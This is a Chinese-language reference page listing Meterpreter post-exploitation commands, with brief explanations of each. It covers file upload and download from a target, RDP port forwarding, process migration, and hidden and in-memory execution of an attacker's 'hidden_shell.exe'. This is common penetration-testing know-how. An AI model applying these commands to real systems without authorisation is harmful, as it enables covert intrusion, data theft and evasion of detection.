您的位置:首页 > 其它

Meterpreter常用命令介绍

2017-12-18 23:35 141 查看

基本命令

命令解释
background将meterpreter终端隐藏在后台(快捷键ctrl+z)
sessions查看已经成功获得的会话,如果想继续与某会话交互,可以使用sessions -i 命令.
quit直接关闭当前的meterpreter会话,返回MSF终端.
shell获取目标系统的控制台shell.
irb在meterpreter会话与ruby终端交互

文件系统命令

命令解释
cat查看文件内容.
getwd获得目标机器上当前的工作目录,getlwd,这个命令可以获得当前系统的工作目录.
upload可以上传文件或文件夹到目标机器上;upload 要上传的文件 C:\Users\buzz\Desktop
download从目标机器上下载文件或文件夹,注意windows路径要用双斜杠进行转义. download C:\test.txt /root/home/test
edit调用vi编辑器,对目标机器上的文件进行编辑;edit c:\windows\system32\drivers\etc\hosts
search可通过search -h查看帮助信息,参数-d指定搜索的起始目录或驱动,如果为空,将进行全盘搜索;参数-f指定搜索的文件或部分文件名,支持星号()匹配;参数-r递归搜索子目录 search -d c:\windows -f .txt
rm删除目标机器的文件.
rmdir /s/q c:\test进入shell后使用此命令可以删除目录下的所有文件和文件夹,/s表示所有子目录和文件/q表示安静模式,不显示yes or no.

网络命令

命令解释
ipconfig查看目标机器网络接口信息
portfwd它是meterpreter自带的端口转发器,用于把目标机器的端口转发到本地端口;假设目标机开放了3389端口,使用如下命令将其转发到本地3456端口:portfwd add -l 3456 -p 3389 -r 192.168.88.110
rdesktop -u 用户名 -p 密码 ip:端口连接开启远程桌面的windows系统.
route显示目标机器的路由信息.

系统命令

命令解释
ps用于获得目标主机上正在运行的进程信息.
migrate pid将Meterpreter会话从一个进程迁移到另一个进程的内存空间中,可以配合ps -ef |grep explorer.exe
execute在目标机器上执行文件. execute -H -i -f cmd.exe 直接与cmd进行交互. 参数-H 表示隐藏执行 -i 表示直接与cmd交互.
getpid获得当前会话所在进程的PID值.
kill用于终结指定的PID进程.
getuid用于获得运行meterpreter会话的用户名,从而查看当前会话具有的权限.
sysinfo用于得到目标系统的一些信息,例如机器名,操作系统等
shutdown用于关闭机器,meterpreter会话会断开.
另外execute命令的-m参数支持直接从内存中执行攻击者的可执行文件. execute -H -m -d regedit.exe -f hidden_shell.exe

具体参数介绍:

Executes a command on the remote machine.

OPTIONS:

-H Create the process hidden from view.

-a The arguments to pass to the command.

-c Channelized I/O (required for interaction).

-d The ‘dummy’ executable to launch when using -m.

-f The executable command to run.

-h Help menu.

-i Interact with the process after creating it.

-k Execute process on the meterpreters current desktop

-m Execute from memory.

-s Execute process in a given session as the session user

-t Execute process with currently impersonated thread token
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: